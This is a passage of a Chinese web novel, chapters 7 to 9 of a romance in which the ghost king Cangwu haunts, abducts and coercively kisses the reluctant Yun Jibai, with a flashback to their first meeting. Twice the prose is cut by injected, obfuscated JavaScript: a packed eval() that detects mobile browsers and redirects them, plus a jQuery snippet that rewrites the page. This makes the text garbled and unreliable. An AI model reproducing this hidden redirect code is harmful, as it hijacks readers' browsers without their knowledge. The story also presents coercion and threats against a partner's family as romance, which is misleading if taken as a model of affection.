他赤着脚,踉跄地跳下床榻,想冲出去看看究竟。 然而,他刚迈出一步,就僵在了原地。 烛台上跳跃的火焰,那温暖橘色的光晕中,隐约勾勒出的不再是熟悉的灯花形状,而是一张模糊却熟悉的、带着冰冷笑意的脸——是苍梧! 他猛地扭头看向梳妆台的铜镜,镜中映出的本应是他的身影,此刻却仿佛蒙上了一层水雾,水雾中,一双深邃的紫瞳正静静地,一眨不眨地凝视着他。 “不……不是……”他惊恐地后退,撞在身后的圆桌上。手指触及冰冷的桌面,那木头的纹路在他指尖下仿佛活了过来,扭曲盘绕,最终和他的五指紧紧相扣。 冰冷的温度刺激着感官,全身肌肉紧绷,汗毛竖起。 “滚啊!”云霁白僵硬的低下头,崩溃的甩手,砰一声巨响,桌子翻了。 他环顾四周,绝望地发现整个房间都在发生着诡异的变化—— 墙壁上挂着的山水画,墨迹仿佛在流动,山峦的阴影化作了玄色冕服的衣袂,流水的线条勾勒出他披散的白发。 窗棂投下的月光阴影,在地面上交织出苍梧修长挺拔的身形。 空气中那熟悉的安神檀香,不知何时变得冰冷刺鼻,带着浓郁的彼岸花的香气。香气飘到他身边,缠着他,绕着他,化成一声声缱绻又阴森的低语:“阿渊……本王的阿渊……” “滚啊!你不要再缠着我了!不要再缠着我了!”云霁白崩溃的泪流,连滚带爬到床上,用被子裹住自己,蜷缩在大床的一角。 他死死睁着眼睛,浓密的长睫因极致的恐惧而不住颤抖,仿佛每一次眨眼,那个阴魂不散的苍梧便会从眼前的黑暗中出现,带着那诡谲的笑意和宣告所有权般的低语,将他彻底拖入万劫不复的深渊。 恐惧如同冰冷的藤蔓,缠绕住他的心脏,越收越紧,几乎要让他窒息。他蜷缩在床榻的角落,将脸深深埋入膝间,却连放声哭泣都不敢,只怕一丝声响都会惊动无处不在的苍梧。 就在这令人绝望的漫长煎熬中,窗棂的缝隙间,悄然渗入了一缕极淡、却无比温暖的微光。 那光芒起初只是灰白的一线,怯生生地探入这被恐惧填满的室内,小心翼翼地驱散着角落的暗影。随后,更多的光争先恐后地涌入,带着晨曦特有的,微凉的暖意,如同温柔的三月春风,轻轻抚过他冰冷僵硬的脊背,渐渐驱散了属于苍梧的阴冷气息。 周遭那些扭曲的属于苍梧的幻象,在这纯净的天光下,如同冰雪般悄然消融。墙壁恢复了原本的模样,镜中映出的也只是他苍白憔悴、泪痕交错的脸。 云霁白僵硬地、极其缓慢地抬起头,被泪水洗涤过的眼眸,茫然地迎向那越来越明亮的窗口。阳光刺得他眼睛生疼,却奇异地带来了一丝劫后余生般的虚脱与短暂的安全感。 天,终于亮了。 云霁白长长的舒出一口气。 鬼界好久未见到这样明亮的光线了。 打发走那些烦人的仙人,苍梧盯着远处发呆,多日未见……他有些想他的小凤凰了。 “人间……咳……人间怎么样了?”苍梧询问,“可有受到焚煞的影响?” 焚煞的封印根本不会影响人界,日理万机的鬼王也从不过问活人的事,此刻破天荒一问,肯定是想在人间的鬼后了。 若辰识趣,连忙回答:“回禀王,鬼后回到云家后,一切正常,但近日似乎……魂魄与肉身的排斥之感愈发明显,鬼后时常精神恍惚,畏光惧声,云家请了无数名医,皆束手无策。” 苍梧闻言,唇角勾起一抹复杂的弧度,似心疼,又似某种预料之中的冷然:“可怜的阿渊……” 若辰道:“鬼后身上沾染您的气息,您这样放他回人间,他身上泄露的鬼气恐会吸引其他邪祟。” 苍梧道:“小事,无妨。” 若没有那些邪祟捣乱,他的阿渊怎么体会到他的重要性呢。 苍梧从白骨王座中起身,白发拂动,长袍曳地,目光更是志在必得,小凤凰,本王才是你的归处。 7. 千年后的重逢(7) 云霁白回来不到五日,云家村便出事了,乌云密布,血雨不断,夜间还有邪祟发出低低的吼叫。 起初只是天色阴沉得异乎寻常,浓重的乌云如同浸透了墨汁的棉絮,沉甸甸地压在整个云家村上空。 随后,淅淅沥沥的雨丝落下,不似平常那般混浊,竟然带着一丝诡异的暗红,如同稀释的血液,落在青石板上,屋檐瓦片间,溅开一朵朵不详的印记。 雨滴落下后,本应该开在地狱的曼陀沙华开在地面上,艳丽而诡异。 “血……血雨!是天灾!是天灾啊!” 有老人望着天空,惊恐地跪地叩拜。 村民们惊慌失措,紧闭门户,孩童的啼哭声在压抑的空气中显得格外刺耳。浓郁的血腥气混杂着泥土的腥甜,弥漫在村子的每一个角落,令人作呕。 而这,仅仅是开始。 当夜幕降临,血雨依旧未停。 浓得化不开的夜色里,神秘的角落开始传来种种异响——不是风声,不是雨声,而是某种活物发出的压抑而贪婪的诡叫。 那声音忽远忽近,仿佛来自地底,又仿佛盘旋在每家每户的屋顶,带着窥探与垂涎,刺激着人们紧绷的神经。偶尔,还能听到利爪刮擦墙壁的刺耳声响,或是窗外一闪而过的、扭曲模糊的黑影。 昔日和睦安逸的云家村如今成了血色与恐惧交织的炼狱。 云府内,气氛更是凝重。 云霁白站在廊下,看着窗外暗红色的雨幕,脸色比往日更加苍白。他能清晰地感觉到,空气中弥漫的,不仅仅是血腥味,还有一股浓烈得令人窒息的阴气与怨念。 这气息,让他灵魂都在不安地战栗。 更让他心惊的是,他发现自己对这片血色、对这些邪祟的低吼,并没有像常人那般极致的恐惧,反而……有一种诡异的熟悉感,甚至内心深处,隐隐有一丝难以言喻的躁动。 “是因为我……吗?” 他靠在冰凉的柱子上,无力地闭上眼。 苍梧的话如同诅咒般在耳边回响,“你是鬼界的人”。这些异象,这些邪祟,是不是都是被他吸引来的? “少爷,外头……外头不安全,您身子单薄,病害未好,免得旧病添新病,您还是快回屋吧,” 来福撑着伞,脸色惨白地跑来,声音都在发抖。 云霁白看着他惊恐的模样,又想到村中那些无辜的村民,一股沉重的负罪感几乎要将他压垮。 云霁白走出一步,扬起苍白的小脸,任由雨滴滴落在他脸上、身上,雨水滑过他的脸颊,看起来就像是他流出的血泪。 来福紧忙道:“少爷,我们快些回屋去吧。” 云霁白看着伞檐,点了点头:“村子怎么样了?” 来福道:“还是那样,家家户户闭门不出,田里的庄稼都没人管了,种地的人最看重的就是庄稼了。想来也是,都顾着保命呢,谁还在意庄稼……” 云家村的血雨没有停歇的迹象,反而愈发稠密,血雨如针,血月如钩,将天地间染成一片令人心悸的暗红。夜间邪祟的嘶吼与低语也愈发猖獗,甚至开始有体质孱弱的村民在极度的恐惧与阴气侵蚀下病倒。 恐慌如同瘟疫般蔓延,流言四起。 终于,有明白人将目光投向了刚刚死而复生的云家小少爷。 “是他……一定是他招来的祸事!” “落水的人都死了,怎么就他一个人活着回来了?” “你们没发现吗?他回来之后,人就变得古里古怪,不见太阳,脸色白得吓人!” “我听说啊,是云老爷子在岸边跪了一天一夜,地下的鬼差才让云少爷活着回来……不然,不会凫水的云少爷怎么可能在湍急的河水里活下来呢。” 愚昧与恐惧交织成的指责,如同冰冷的箭矢,穿透云府的高墙,狠狠扎在云霁白心上。他甚至不敢出门,只能透过窗缝,看着往日和善的乡邻此刻聚集在府外,眼中带着恐惧、怀疑,甚至仇恨。 这些前来讨伐的人里,甚至还有从小与他玩到大的玩伴。云霁白静静站在窗前,安静看着儿时的玩伴颠倒黑白。 云老爷试图出面安抚,结果被激动的村民赶了回家。云夫人终日以泪洗面,抱着儿子瑟瑟发抖,既心疼又无助。 “我的阿渊。” 那个低沉的声音,再次不请自来,直接在他脑海中响起。 “看来,你现在很需要我呢。”伴随着一声诡异的轻笑,高大的鬼影出现在云霁白房间里。 “是……是你……这一切都是你做的。”云霁白惊恐看着苍梧,或许因为不在鬼界,他没有穿戴象征着地位的冕服华冠,只是穿了一件简单的玄衣,白发被精致的玉冠高高束起,漂亮的紫瞳带着玩味的笑意,从头到脚都透露着迷人的危险的气息。 云霁白的大脑传递信号,让他远离这个危险的人物,后退一步,碰到冰冷的墙壁,他警觉自己也退无可退——他的房间就那么大,鬼王的权力又那么大,他能退到哪去呢? 鬼王微微屈起手指,他的命运便被颠覆了个彻底。 “为什么要这么对我……我从未得罪过您,也从未对您不敬,为什么您要追着我不放呢?”云霁白神情绝望,却无计可施。 苍梧安静的看着他。 云霁白道:“我求求您……放了我吧……放过我的家人……” 苍梧轻笑一声。 那声轻笑来自鬼府的王,无论多轻,都带着攥紧人心脏的压迫感,听得云霁白瞬间汗毛竖起,不敢再与苍梧对视。 苍梧一个瞬移闪到云霁白面前,修长苍白的手指轻轻挑起云霁白的下巴,逼迫云霁白与自己对视。 良久,苍梧摸着云霁白的脸颊,轻柔的吻落在他的发顶,声音轻的像是叹息:“本王放过你,谁来放过本王呢……” 无情的话语犹如对云霁白的审判,他空洞的眼神望着苍梧,两行清泪顺着眼角滑落,为什么就是不能放过我呢…… 眼泪带着滚烫的温度灼伤了苍梧的心。 苍梧开始变得心烦意乱起来。 “哭什么,”苍梧用拇指轻轻抹去云霁白脸上的泪,无奈道,“本王又不会真的把你怎么样。” 他只是想和云霁白在一起,不再分离,仅此而已。 察觉到苍梧流露出的温柔,云霁白心思一动,脑海中又回想起那句话,“阿渊,撒娇只对爱你的人管用”。 “大人……”云霁白张了张嘴,准备再次使用拙劣的戏码。 就在这时,府门外传来更加激烈的撞击声和怒吼! “把灾星交出来!” “滚出云家村!否则我们就不客气了!” 几个被恐惧冲昏头脑的壮汉,开始用粗木撞击云府的大门,门闩发出不堪重负的声音。 “爹!娘!”云霁白惊恐地从苍梧怀中挣扎,“我跟您走,求求您帮帮我……” 云老爷咬紧牙关,命令家丁死死顶住大门,但外面的村民越来越多,情势岌岌可危。就在这千钧一发之际,天空中的血雨骤然变得更加狂暴,如同天河倒泻!浓郁的血腥气几乎化为实质,与此同时,数十道扭曲的黑影——那些原本只在夜间窥伺的低等邪祟竟在光天化日之下,撕裂雨幕,发出尖锐的啸叫,如同嗅到血腥味的鬣狗,朝着云府猛扑过来! 它们的目标明确——正是从鬼界归来的云霁白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云霁白浑身一僵,却不敢有丝毫反抗,甚至下意识地屏住呼吸,只能愣愣地仰着脸,被迫承受这个吻,对苍梧予取予求。微凉的唇齿相接,一股熟悉的、带着魄特有的腥甜气息渡了过来,馥郁而诱人,安抚着他受惊的灵魂,却也带着令人沉沦的危险。 可是他们的唇齿之间并没有魄。 为什么会有魄的香甜? 这个疑问刚刚升起,还来不及细想,他就被这个看似浅尝辄止的吻抽走了所有的力气和意识。呼吸在极致的紧张骤然停滞,眼前的景象开始模糊、旋转。 在彻底失去意识的前一瞬,他苍白的嘴唇微微翕动,仍旧念叨着:“爹……娘……” 苍梧稳稳地搂住他软倒的身体,打横抱起。他抱着怀中失去意识的少年,大步向外走去。每踏出一步,周身散发出的威压便凝重一分。 当他走出房间,踏入那片被邪祟与血雨笼罩的天地,深沉而充满威严的声音自天地之间响起,威慑每一个生灵:“连游魂都算不上的低级邪祟也敢染指本王的人,真是找死。” 最后四个字如惊雷乍响。 那些原本张牙舞爪、肆虐咆哮的邪祟都来不及惨叫,瞬间僵住,化作缕缕黑烟,争先恐后地逃窜,消失得无影无踪,仿佛从未出现过。 天空中的血雨也骤然停歇,笼罩云家村的浓郁阴气与血腥味被一股更纯粹、更冰冷的幽冥气息涤荡一空。 苍梧的目光淡漠地扫过院子里倒在地上的云氏夫妇,并未停留,亦未施以援手。于他而言,保住他们的性命,已是完成了云霁白的要求。 空气中出现撕裂的缝隙,他抱着云霁白,一步踏出,身影便融入黑暗的虚空之中,离开了这片重归平静的土地。 苍梧走后,两个不属于这里的身影悄无声息现身了。 “司命星君说的果然没错,跟着鬼王会有意想不到的收获。” “鬼王私自出现在人间可是犯了大忌!我们快回去禀告天帝。” 8. 千年后的重逢(8) 云家村恢复往日的安宁,发生的一切怪事,不过是做了一个荒诞的噩梦。 云霁白在阴阳镜中窥见父母平安,泪又克制不住的向下滑落,对不起,孩儿不孝,日后不能在二老跟前尽孝了。 “答应给你看人间,怎么还落泪,”苍梧叹息,轻轻擦掉云霁白脸上的泪:“真是娇气。” 他扭开头,避开那冰冷的触碰,声音带着哽咽后的沙哑:“你这个无情无义的鬼,根本不懂什么叫家人,根本不懂我此刻的感受。” 苍梧看着他泛红的眼圈,紫瞳深处掠过一丝极淡的、连自己都未曾明晰的躁意,脱口而出:“我当然不懂。” 他顿了顿,语气里莫名带上了一点指控的意味,“还不是都怪你。” 云霁白猛地转回头,泪眼婆娑中满是难以置信:“怪我?怪我什么?!” 苍梧迎着他质问的目光,理直气壮,甚至带着点理所当然的委屈,沉声道:“怪你没教我。” 云霁白彻底愣住,所有的悲伤、愤怒、委屈,被这句完全不讲道理的话打得七零八落,他瞪着眼前这个强大又不可理喻的鬼王,半晌,才从齿缝里挤出两个字:“有病!” “我有病?”苍梧紫眸微眯,神情有点破防,“我堂堂鬼界之主,执掌生死轮回,你竟敢说我有病?” “对,你就是有病。”云霁白毫不退缩。 “云霁白!” “我怎么了?” “你真当本王拿你没办法?”苍梧气得心肺都要炸了。 “什么时候放我回去?” “回去?”苍梧冷笑,“可以,用你爹娘的命来换。” “你敢!” “你不是说过吗,这天下就没有我不敢的事。” 云霁白讥讽:“堂堂鬼王也就会这些下三滥的手段了。你放心好了,在你死之前,我绝不会随、便、离、开,我会,好、好、陪、你。” 苍梧道:“那你怕是要一直陪着本王了。”说着,他竟然有一丝得意,“本王永生。” 云霁白呵呵一笑:“我不想与你多说什么,若辰,送客。” 若辰夹在两人中间左右为难,冷汗直流,这……他哪个都不敢得罪啊。 苍梧满脸震惊:“云霁白你真是越来越无法无天了!竟然敢在本王的地盘命令本王的人赶本王出去!?” “既然这是你的地盘,我也不属于这里,那你就放我离开。” “本王不允。”苍梧道,“这鬼界你休想踏出半步。” “那你离开,离开这里,省的我看了心烦。” 这话说的有来有回,滴水不漏,苍梧气得面容都扭曲了。云霁白咽了一口唾沫,下意识后退一步,其实意识里还是非常害怕苍梧的,但是不知道为什么,心里有个声音告诉他,就算他闹个天翻地覆,苍梧也不会把他怎么样。 所以他在试探苍梧的底线,摸索苍梧的脾性,为自己下一次逃跑做准备。 没有人甘心自己就这么不明不白的死了,更何况苍梧还承认过,是他把自己带到鬼界…… 但是看见苍梧脸黑,周围的气氛都跟着冷下来,他心里还是有些恐惧的,云霁白怯生生的看着苍梧,没了方才的气势:“我说的不对吗?” “对,很对,”苍梧冷笑一声,抓住云霁白的手腕,一把将人拽进怀里,狠狠堵住喋喋不休的嘴。 “但,本王就是不走。” 若辰听了这话,心说,果真一物降一物啊,一千年过去了,威震八方的鬼王还是喜欢跟鬼后耍无赖。不过,接下来的画面,有些少鬼不宜了,为保证两位大人的情趣,他还是消失的为好。 若辰提着魂灯无声无息消失在空旷的大殿里。幽暗的殿堂只剩下唇齿纠缠的两个人,烛火安静燃烧着,漆黑的身影交叠,那么的密不可分。 没有持续多久,甜蜜的假象就被云霁白的挣扎打破。云霁白疯狂捶打着苍梧的胸口,将华贵的衣袍弄得皱乱不堪:“放开,放开我。” 他的反抗如同蜉蝣撼树,非但没有对苍梧产生任何伤害,反而让苍梧更加变本加厉,得寸进尺。 微凉的舌头在口腔中肆意翻搅,甚至卷着他的舌头,试图带着他一起沉沦在这个带着惩罚意味的吻中。 云霁白脸色潮红,来不及吞咽的口水顺着嘴角滑落,留下淫腻的痕迹。不知过了多久,就在云霁白以为自己窒息时,鬼王才大发慈悲放过了他。 双唇分开,唇边拉出一条银色的丝线。 云霁白脸色更红了,无意识吞咽了一口气,小声咒骂:“混蛋。” 苍梧微微俯身,轻轻舔去云霁白嘴边的痕迹,轻笑:“这才刚刚开始,夜还很深,我还有更混蛋的让你慢慢体会。” 云霁白惊恐后退:“不要!” 苍梧不满云霁白的后退,长臂一伸边将云霁白重新搂进怀里,语气更是不容置喙:“不要也得要。” 云霁白脸上血色尽褪:“不能,你不能这么做……苍梧,你不能,不能这么对我。” 烛火明明灭灭,苍梧微不可查的叹息一声,苍白的手覆上云霁白的眼睛,声音如同落雪,又轻又凉:“本王没说现在。” 最终,他还是给自己找了个台阶下。 “今日还有要事处理,晚些再来陪你。”苍梧说着,放开对云霁白的钳制,转身离去。 小凤凰,本王耐心有限。 别让本王等太久。 直到那玄色身影消失在殿外,云霁白紧绷的身子才稍稍放松。他缓缓摊开紧握的双手,掌心上深深印着几道月牙状的血痕。 殿门外,苍梧驻足片刻,挺拔的背影在幽冥殿的长廊中显得格外孤寂。 “鬼后初入鬼界,魂体尚未稳固。”他的声音清晰地传入侍立一旁的若辰耳中,“务必悉心照料,不得有丝毫怠慢。” 若辰躬身应道:“属下明白。” 确认苍梧已远去,云霁白轻声唤道:“若辰。” 若辰应声推门而入,恭敬垂首:“鬼后有何吩咐?” 云霁白凝视着他,眼底翻涌着复杂难辨的情绪,沉默片刻才轻声开口:“你曾说过,我是鬼后。” “是。”若辰答得恭敬。 “既是鬼后,”云霁白向前一步,声音里带着不易察觉的颤抖,“是不是就不该被欺瞒?” 若辰深深垂首:“自然。” 云霁白深吸一口气,终于问出那个压在心底许久的问题:“那你告诉我,苍梧为何偏偏选我作他的鬼后?” 若辰的魂体几不可察地轻颤,那张没有五官的面容上竟奇异地透出一种带着讨好意味的笑意:“小的也不清楚。小的只知道,每一百年您都会出现一次,每次只停留一日,与鬼王做一日夫妻后,便要步入轮回,开始新的转世。可这一次……” 他顿了顿,声音里带着困惑:“与以往都不同,您已经停留多日。” 云霁白蹙眉:“我?为何我对此毫无印象?” 按照若辰的说法,他每一世都能活到百岁,苍梧也耐心等待百年。既然前几世都能等待,为何这一世如此心急,只让他活到二十岁? 难道他的死,真的是一场意外? 真的误会苍梧了? 若辰恭敬解释:“轮回门非凡人可涉足。您已历经十次轮回,记忆定然被抹去了十次。一次又一次的遗忘,会让您彻底忘了对您来说生命中最重要的人,您现在不记得也属于正常现象。” 十次轮回,千年时光,十日夫妻……这么想来苍梧也够苦的。 云霁白敏锐地抓住关键:“你的意思是……我忘了苍梧?” 若辰谨慎地斟酌用词:“小的所知有限,具体缘由,您不妨亲自询问鬼王。他待您如此珍重,若是您开口相询,想必定会如实相告。” 云霁白沉吟片刻,忽然道:“那你能带我去幽冥阁吗?苍梧曾说那里藏有鬼界典籍,或许书中会有相关记载。” 若辰面露难色,却仍保持着恭敬:“带您去是可以……不过,需得先征得鬼王同意。” 云霁白也不为难他,轻轻颔首:“随你吧。” 云霁白望着殿外的暮色出神,如果他和苍梧真有那么一点情缘,那他还要回到人间吗?如果他不回,他人间的父母该怎么办…… 和上次一样,若辰用黄符咒禀告鬼王,鬼王仿佛随时关注云霁白这边的动向,与云霁白有关的信息都是第一时间回应 第一时间处理。通往幽冥阁的裂隙在他们面前打开,打开幽冥阁的令牌缓缓落在云霁白的掌心。 暗紫色的令牌,上面刻着黑金色的幽字。 时隔千年,积了灰的幽冥令终于等到他的主人。 若辰看着这个令牌,没有五官的脸上做出惊讶之态,没想到鬼王竟然把号令万鬼的幽冥令交给了鬼后。 幽冥令只有鬼王才有,天下地下至此一枚,得此令牌便得鬼界。 “这是什么?”云霁白问。 若辰说:“这是鬼王的幽冥令牌,拿此令牌便可自由出入鬼界。” 云霁白看着手中的令牌没有说话,这么重要的东西给了他,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908438|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼王苍梧的试探吗…… 云霁白拿着幽冥令与若辰一同前往幽冥阁。 鬼界的藏书阁,与人间的书阁不一样。幽冥阁是一片巨大的、由无数悬浮的白骨构成的空间。白骨框架按照某种玄奥的轨迹缓缓运转,空气中弥漫着陈旧墨香与魂力交织的沉郁气息。 云霁白步入其中,仿佛被无尽的知识与历史包裹。他随手触碰漂浮在面前的骨简,一股冰凉的气息顺着指尖传来,一些模糊的、关于某种鬼术修炼法的信息片段涌入脑海。 他收回手,定了定神,这不是他要找的东西。 “若辰,鬼界……是如何判定一个魂魄归属的?”他状似随意地问道。 若辰心里一紧,面上却不敢显露:“回鬼后,生灵阳寿尽后,自会有黑白无常牵引至鬼界,渡过忘川,经由判官审判,依其生前功过定其轮回或受刑之所。” “那……如何判断一个鬼是否阳寿未尽呢?”云霁白目光清澈,却带着锐利,直直看向若辰。 若辰头皮发麻,干笑道:“入了鬼界自然是阳寿已尽的。阳寿未尽是不可能进入鬼界的。鬼后是想问您是否死于非命吧,这个我可以肯定的告诉您,不是。没有鬼敢这么做。” 云霁白脸上有一丝被戳破的尴尬,若有所思地点点头,转而走向另一片区域,寻找自己想要的东西。 若辰不知道他要找什么,老实跟在他身后,絮絮叨叨说些无关紧要的话:“您还记得第一次来鬼界的时候吗?” 云霁白道:“记得。” 若辰说:“鬼王穿戴冕服华冠,身后跟着无数小鬼,那画面简直就像恭迎贵客。实际上就是那样的,鬼王就是为了迎接您,才如此大张旗鼓。鬼王亲迎,万鬼拥护……就连天帝就没有这种资格。” “而且,偷偷地告诉您,知道您的灵魂马上就要抵达鬼界的时候,鬼王召令万鬼商讨要事,您猜猜要事是什么?” 云霁白心不在焉:“是什么?” “穿什么衣服会讨您的欢心。”若辰笑了笑,“您说鬼王是不是小题大做了。” “其实啊,他是真的在意您,就这次的重逢,鬼王等待了一百年。那天说的勾魂,不过是气话。您想想看,满心欢喜等了百年的重逢,结果呢,重逢的第一句话不是好久不见,而是质疑的话,搁谁身上谁不生气呢。” “对,要是我我也生气。”云霁白一目十行,寻找记载苍梧的卷轴,根本没注意若辰在说什么。 “对吧,所以您原谅鬼王了吗?” “原谅?原谅什么?”云霁白迷茫。 若辰:“……” 白说了呗。 若辰打算再说一遍的时候,忽然注意到飘过来的卷轴,记载苍梧相关的卷轴,若是把这个拿给鬼后看,鬼后了解鬼王有多么厉害后,鬼后就会无法自拔的爱上鬼王了。 若辰想的很美好,实际上也这么做了,猛地大叫一声:“就是这个!我告诉您啊,这个卷轴记载了鬼王的赫赫功绩,比如千年前那场焚煞大战,鬼王就是在这场战争中一战成名的!” 一战成名…… 云霁白目光顿住,想起自己做的那个梦,原来一战成名的鬼王是苍梧啊,“那你知不知道一个叫凤渊的?” 若辰点头:“知道一点……凤渊是四海八荒第一战神,是最后一只火凤,曾以一剑破万军,不过,比起鬼王还是差一点,他最后败在鬼王的剑下了。焚煞大战后,就没有他的消息了,有人说他是焚煞,也有人说,他死在那场大战中了……鬼后,为何突然想起来询问无关紧要的人?” “刚刚从卷轴上看到,随口问问……”云霁白安静听着,他的指尖无意识触碰到一片色泽格外深沉、边缘甚至带着一丝暗金纹路的古老卷轴。卷轴周围环绕着金色的符文光芒,好像被人施了法印。 “这是什么……” 卷轴上一股熟悉的灵力吸引着他。 “鬼后,这个碰不得,上面的封印会震伤您。”若辰脸色大变,想要阻止拿起卷轴的云霁白。可是晚了,云霁白手里有幽冥令可以随便触碰鬼界的东西,卷轴上的禁咒在幽冥令面前形同摆设。 云霁白已经拿起卷轴。 刹那间,金色符文骤然变大,然后飘向空中,变得透明,最后消散。金色符文飘散的瞬间,卷轴从云霁白手中脱离,浮在空中缓缓展开…… 待到那画卷完全展开,足足有三米长。 若辰一头撞进白骨架上,心想完了,这下闯大祸了,这可是鬼王吩咐过任何人都不能动的东西。 9. 千年前的心跳(1) 随着卷轴缓缓展开,一幅幅画卷从中飞出,旋转、翻飞,以云霁白为中心围成一个大圈。 第一幅画主动飞到云霁白面前。 画中有一片望不到尽头的梧桐林,每一株都挺拔苍翠,枝叶参天,仿佛连接着天与地。阳光透过层叠的叶隙,洒下碎金般的光斑,林间弥漫着草木的清新气息,沁人心脾。 就在这片静谧之中,一株最为古老、最为粗壮的梧桐树横生的枝干上,赫然醉卧着一个美人。 那人有着一头流泻如火焰、灿若云霞的红发,长发未束,肆意铺散在粗糙的树皮与翠绿的叶片之上,红绿交相辉映,构成一幅极具冲击力的画面。 他身着月白云纹的宽大袍服,衣襟微敞,露出精致漂亮的锁骨。一手随意垂落,指尖还勾着一个半倾的玉壶,清亮的酒液偶尔滴落,渗入树皮;另一手则搭在额前,遮住了大半面容,只能看见线条流畅优美的下颌,以及一抹因酒意而微染绯色的唇瓣。 他似乎在沉睡,呼吸清浅,与这整片梧桐林的静谧融为一体,仿佛他本就是此地孕育出的精魂,恣意,洒脱,不染尘埃。 风过林梢,带来叶片沙沙的轻响,也拂动了他几缕散落的红发。 就在这时,混沌的鬼雾无声无息地出现在树下,仿佛自幽冥而来,携带的淡淡寒气与这片生机勃勃的梧桐林格格不入。 那团鬼雾中央有一只灰白的死气沉沉的眼睛。 此刻这只眼睛左右张望,似乎在寻找什么,瞳孔抬起,目光穿透枝叶的缝隙,精准地落在了那个醉卧枝头的身影上。 那一刻,周遭的一切仿佛都静止了。 他万年冰封般的眼底,清晰地掠过一丝极淡的惊艳,以及一种连他自己都未曾察觉的悸动。 原来这就是四海八荒第一战神凤渊。 望着树上人的身影,他忘了自己来的目的,甚至忘了自己姓甚名谁。 他并未出声,只是静静地凝视着,看着阳光在那头红发上跳跃,看着那慵懒随性的姿态,看着那不经意间流露出的美丽。 许是那目光太过专注,又或是强者之间的无形感应。枝头上的人眼睫微颤,搭在额前的手缓缓移开,露出一双初醒时还带着几分迷蒙 却已然清澈明亮如星子的眼眸。那双眼眸,是罕见的银白色,在阳光下流转着温暖的光泽。 三目相对。 一个飘在树下,未成人形,眼眸灰败,如永夜寒渊。 一个卧于枝头,红发似火,银色眼眸,如旭日初升。 时间仿佛在这一刻凝固。 还是枝头上的人先有了动作,他并未惊慌,反而唇角微微上扬,勾起一抹带着酒意和几分玩味的弧度,声音因初醒而有些低哑,却悦耳动听:“何人竟然来此地扰我清净?”梧桐林设有禁制,千百年来很少有人能找到。 苍梧失神的看着凤渊,被他的美色吸引,久久没能回神,没人告诉他四海八荒第一战神生的如此俊俏。 凤渊晃了晃手中空了的玉壶,笑意盈盈地问道,“一直盯着我看做什么?莫非……是想偷我的酒?” 苍梧看着他,灰白的眼眸里有了鲜艳的色彩,低沉的声音打破林间的寂静:“本……我想要什么没有,”他的目光落在对方因酒意而微红的脸上,语气带着一丝连自己都未察觉的异样,“何须偷你的东西?” 红发青年,也就是凤渊,闻言微微一怔,随即笑开,那笑容如同拨开云雾的朝阳,绚烂夺目。他翻身坐起,红发流泻,居高临下地看着苍梧,凤眸里充满了好奇与挑衅:“不偷酒?那你想偷什么?”他歪着头,语气玩味,“难不成……是想偷我?” 随着他的笑意在唇边漾开,光影也随之变幻,只见那头流泻的、火焰般的红发,以肉眼可见的速度褪去灼目的色彩,化为如墨的漆黑;那双原本清澈冰冷的银色眼眸,也如同被夜色浸染,迅速沉淀为深不见底的黑。 不过眨眼之间,梧桐树上的人容颜气质已然大变——依旧是那张脸,轮廓却似乎更加清晰利落,少了几分灼人的明艳,多了几分清冷俊美,昳丽依旧,与方才那个如同精灵般耀眼的红发青年判若两人。仿佛刚才那惊鸿一瞥的红发银眸,不过是林间光影与人开的一个玩笑。 鬼雾翻腾,羞怒:“你这人说话怎能如此的轻薄无礼!本……我也不是来偷人的!” 凤渊,四海八荒第一战神,此刻却像个发现了新奇玩具的孩子,对着树下那位明显来历不凡,气息强大的不速之客,产生了浓厚的兴趣。 他笑着反问:“那你是来偷什么的?” 鬼雾道:“我是来偷……不对,我是来找你比试的!听说你是四海八荒第一战神,鬼界的鬼都说我未必能打过你,所以我特地来找你一决高下,证明自己。” 这时的苍梧好战心特别强,胜负欲也特别重,一心和凤渊一较高下。 凤渊喝了一口酒,“手中的剑是用来守护天下苍生和自己爱的人的,不是用来证明自己有多强大的。” 鬼雾:“你是怕打不过我,不敢与我较量?放心好了,我只是想和你一较高下,就算你输了,我也不会大肆宣扬,让第三个人知道我们之间的事。” 凤渊轻轻摇摇头:“想赢我?你还是先化成人形再说吧。” 这句话戳中鬼雾的痛处了,他的法力可以化形,只是……他们鬼界有个不成文的规矩,面容需在爱人容颜的基础上幻化,发色需是爱人的瞳色,瞳色需是爱人的发色,相似的容颜,相同的色彩,你中有我,我中有你,这样整个鬼界就都知道这是天生一对儿了。 打打杀杀方面,鬼雾非常在行,可是情爱这一方面他却一窍不通了,至今没有爱人,至今尚未化形。 也可能跟他们鬼没有心脏有关。 若是有了心脏,爱上一个人还不是轻而易举的事吗。 “我……我现在还不能化形。”鬼雾底气不足。 “那就是修为不够,还需要再练。” “不是!我活了几万年,修为怎么可能不够!你未免太小瞧本王了吧。” 凤渊眼眸微眯,终于意识到眼前人的身份非同一般:“本王?” 仙、鬼两界只是表面交好,其实那些仙风道骨的仙人根本瞧不起他们鬼界的鬼。他们都觉得鬼是丑陋的,贪婪的,无情的,十恶不赦的。 他们觉得人比鬼高一等。 自己身为鬼王,身份尊贵,邀人比试还被拒绝,这个人还是仙家的人……传出去肯定会被仙家的人嘲笑。到时候,他们鬼界在他们仙界面前肯定又抬不起头了。 所以,自己的身份无论如何也不能暴露。 鬼雾道:“你听错了,我说的我。” 听见鬼雾否认,凤渊也懒得追究他是什么身份,“那就当我听错了吧……”从树上跃下,挥挥手赶人,“你走吧,我不与你比试。” 鬼王的尊严让鬼雾不再继续纠缠,只好道:“我还会再来的!” 